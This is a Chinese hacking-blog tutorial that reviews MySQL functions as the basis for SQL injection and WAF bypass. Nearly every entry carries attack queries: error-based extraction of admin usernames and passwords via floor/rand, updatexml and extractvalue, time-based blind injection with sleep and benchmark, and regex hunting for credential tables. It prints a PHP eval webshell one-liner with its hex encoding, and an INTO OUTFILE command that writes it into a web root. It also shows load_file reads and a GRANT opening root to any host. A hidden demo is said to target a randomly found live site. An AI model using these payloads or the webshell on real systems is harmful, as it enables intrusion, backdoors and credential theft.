Dragon
  • 一个纯白的黑客网站,一直在努力,apt的路上,更精彩!
lsh4ckLsh4ck  2019-01-28 21:42 lsh4ck's Blog 显示边栏 |   抢沙发  619 
文章评分 1 次,平均分 5.0

在开始真正的注入技巧之前,我们先来大致回顾下必要的mysql数据库基础

下面是注入mysql时经常会用到的一些单行函数,熟练使用是灵活注入的前提,尤其是在对抗一些waf的时候

  • 字符串连接函数,将多个字符串连接成一个字符串,注意,中间只要字符串有一个为空,最后结果也为空
concat(str1,str2,str3...)
mysql> select concat(username,' | ',passwd,' | ',email) from admin limit 0,1;
mysql> select concat(username,' | ',passwd,null,' | ',email) from admin limit 0,1;
  • 同样是连接多个字符串,但可以在开头指定分隔符,跟concat()稍微不同,它会自动忽略中间的空值,只有分隔符为空,整体才返回空
concat_ws(‘指定分隔符’,str1,str2,str3...)
mysql> select concat_ws(' # ',username,passwd,email) from admin limit 0,1;
mysql> select concat_ws(' # ',username,passwd,email,null) from admin limit 0,1;
mysql> select concat_ws(null,username,passwd,email,null) from admin limit 0,1;
  • 利用分组的方式连接所有字符串,通俗点儿讲,其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024
group_concat(field_name1, field_name2, field_name3...)
mysql> show variables like "group_concat_max_len";
mysql> select group_concat(name) from personal_info;
mysql> select group_concat(concat_ws(' # ',name,age)) from personal_info;
  • 截取指定字符串,注意在mysql中的所有字符串截取操作[除了limit],默认都是从1开始的,并非像代码中的数组是从0开始的
substring(要截取的字符串,从什么地方开始截取,截取多长)
mysql> select substring((select username from admin limit 0,1),1,1);
  • 截取指定字符串,具体用法基本同substring()
substr(要截取的字符串,从什么地方开始截取,截取多长)
mysql> select substr((select username from admin limit 0,1),1,1);
  • mysql 专有的字符串截取,也就是说只有在mysql中有,mssql和oracle以及pgsql中都没有
mid(要截取的字符串,从什么地方开始截取,截取多长)
mysql> select mid(username,1,1) from admin;
  • 从左往右截取3个字符,左截取
left(str,3)
mysql> select left(username,3) from admin limit 0,1;
  • 从右往左截取3个字符,右截取
right()
mysql> select right(username,3) from admin limit 0,1;
  • 返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用
locate()
mysql> select locate(username,'lshackadminsec') from admin limit 0,1;
  • 返回指定的ASCII码字符所对应的数值,下面的ord()用法基本也是一致的
ascii(单个字符) ord(单个字符)
mysql> select ascii((select mid(username,1,1) from admin));
mysql> select ord((select mid(username,1,1) from admin));
  • 把指定的数字转换成对应的ASCII码字符,n久以前 bypasswaf的惯用招数,各类编码绕过waf也是最常见的一种方式
char(num)
mysql> select char(mid(passwd,4,3)) from admin limit 0,1;
  • 字符串替换,在读取文件时,我们可能需要用到replace()替换一些特殊字符
replace(字段名,要替换的字符串,准备替换为的字符)
mysql> select replace((select username from admin limit 0,1),'admin','sec');
  • 取整函数和四舍五入函数,比如,经典的显错注入,利用的就是rand + group by/order by的显错特性,mysql官方文档已明确指出,rand和oderby / group by 不能共用,否则数据库会提示 ‘ERROR 1062 (23000): Duplicate entry’类的错误
floor()  rand() 
mysql> SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(' # ',database(),' # ',user(),' # ',version())))a from information_schema.tables group by a)b;
  • 统计某个字段下的某条数据的字符总长度
length(field_name)
mysql> select length(username) from admin limit 0,1;
  • 统计某个表下总共有多少条记录
count(*)
mysql> select count(*) from admin;
  • 进制转换函数,16进制转换,导出udf的时候可能会用到
hex() unhex() 
mysql> select hex(mid((select username from admin limit 0,1),1,1));
mysql> select unhex(hex(mid((select username from admin limit 0,1),1,1)));
conv(num,from_base,to_base) 经常会用来绕过某些编码过滤
mysql> select conv(11,10,16);
  • 两个操作xml数据的函数,通常我们可以利用这种特性一句话就把所有的数据全部查出来,显错注入常用
extractvalue(xml_doc,xpath) 意思就是从指定xml文档中查询指定的字符串
updatexml(xml_doc,xpath,new_value) 利用xpath把xml文档中的指定字符串替换成新值
mysql> select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
mysql> select extractvalue(1,concat(0x7e,(SELECT concat(username,'|',passwd) FROM admin limit 0,1)));
  • name_const()只在mysql内部使用, 服务器在书写来自包含局部程序变量的存储程序的语句时会用到它,我们通常用它来显错注入
name_const(built_name,value)
mysql>  select name_const(version(),1);
  • 字符串填充,跟代码中的字符串填充是一个意思,注意,如果被填充的位置原来有数据则会被直接覆盖,我们可利用这种方式来查数据
rpad() lpad()
mysql> select lpad('hello ',10,'#');
mysql> select rpad('hello ',10,'#');
  • 时间盲注最常用的两个函数
benchmark(count,expr) 性能测试函数,意思就是执行expr count次
sleep(second)	定时休眠函数
mysql> select benchmark(1000000000,(select sha('admin')));
mysql> select * from admin where username='admin' and sleep(5);
  • 大小写转换,有时候为了减少我们的手工劳动量,可能就需要用到这种转换函数,尽可能的帮我们缩小范围
lower() upper()
mysql> select lower(conv(11,10,16));
mysql> select upper(conv(45,10,16));
  • 利用判断特性,常配合时间盲注一起使用
if()
mysql> select if((select 4,\N) > (select 2,\N),30,20);
  • 相当于sql中的’switch’语句,有兴趣可以把sqlmap的调试模式开起来,实际跑的时候你会看到大量类似的语句
case when end
mysql> select case when 1>0 then 'yeah! login succeed!' else 'no failed' end;
  • rlike() 天然的sql模糊匹配,常规的like则需要带上通配符[只匹配指定字段]
rlike()
mysql> select * from personal_info where name rlike 'or';
  • 利用正则查询数据,实战中还是非常好用的,有时我们的需求就只单单是想查到管理员的账号密码,不到万不得已的时候,没必要非要一个表一个表的遍历,实在是太累,这时就可以尝试利用正则来帮我们快速搞,提高渗透效率嘛,当然,这事先肯定需要你多搜集一些管理表明字段名什么的,不然拿什么来匹配呢,如果尝试完所有常用的表明字段名都没查出来,行吧,那就只能乖乖的一个个的表遍历了
regexp()
mysql> select * from personal_info where name regexp 'or' order by id;
  • 几个读写文件的函数,写webshell,读账号密码会经常用到
原型一句话代码是这样的
<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>

16进制后的效果是这样的,因为里面一些特殊字符的原因,实战中最好编码下,不然可能写不进去
0x3c3f7068702024736c203d206372656174655f66756e6374696f6e2827272c2040245f524551554553545b276b6c696f6e275d293b24736c28293b3f3e
  • 尝试写webshell,务必要先保证你要写的目标目录确实能写才行,不然也是写不进去的
select * into outfile	 普通文本文件是没什么问题
select * into dumpfile 如果是dll,so,exe,必须二进制写,尝试导出udf时可能会用到
mysql> select '0x3c3f7068702024736c203d206372*******' into outfile '/var/www/html/hell.php';
  • 读取账号密码,最好在页面有回显时利用,不然就费老劲了
load_file()
mysql> select load_file('/var/www/html/webshell.php');
  • 暂时先来简单了解几个简单的mysql注释方法,其实还有一些比较偏门好用的字符,后面bypasswaf时再说
# 			最普通的单行注释,实际渗透中最好用之前用url编码下,效果会更好,编码后的值为 %23
-- -		注意中间的空格哦
-- +		
``			在bypass一些比较老的waf可能还会有些用
/**/		常规内联注释
/*!*/
/*!50000 */   mysql 5通用,带版本内联注释
  • 熟悉几个常用的Mysql内置变量,搜集数据库信息时会用到
version() 		当前数据库详细版本号,注意,针对mysql 4和5的注入方式是完全不一样的
database()		当前所在的数据库
user()				当前数据库用户权限
@@datadir			数据文件的存放目录
@@basedir			数据库的安装路径
@@version_compile_os	宿主系统平台是什么
@@hostname		当前机器的机器名,可不是域名哦
null				特殊工具,因为它可以匹配任意数据类型,在遍历字段个数时可能会用到
mysql> show variables like 'log_%';  查看日志文件存放位置,后续权限够的情况下,我们可能还会通过这个来拿webshell
  • 特殊数据库 information_schema
SCHEMATA 表
	SCHEMA_NAME 存放了当前实例中的所有的数据库名

TABLES 表
	table_schema 存放了当前实例中的所有表名

column_name 表
	table_name 存放了当前实例中的所有字段名
  • 新旧版本 root 密码字段名的不同,密码的默认加密方式应该是sha1
mysql> select user,password from user;		5.5.x 之前吧,具体小版本忘记了
mysql> select user,authentication_string from user;  5.5.x 原有的密码字段名现在换成了这个
  • 指定可外连的数据库用户和ip,这里的意思是允许root用户以这个密码,在任意ip上连,实际中肯定不能这样
mysql> grant all privileges on *.* to 'root'@'%' identified by 'admin' with grant option;
mysql> flush privileges;

下面是现场随便找的一个实例站点,来简单演示下关于利用union进行注入的完整流程

当前内容已被隐藏,您需要登录才能查看



本文为原创文章,版权归所有,欢迎分享本文,转载请保留出处!

lsh4ck
Lsh4ck 关注:0    粉丝:8 最后编辑于:2019-01-30
这个人很懒,什么都没写
×

予人玫瑰,手有余香

打赏 Lsh4ck

打开支付宝扫一扫,即可进行扫码打赏哦

发表评论

表情 格式 链接 私密 签到

扫一扫二维码分享

无觅相关文章插件,快速提升流量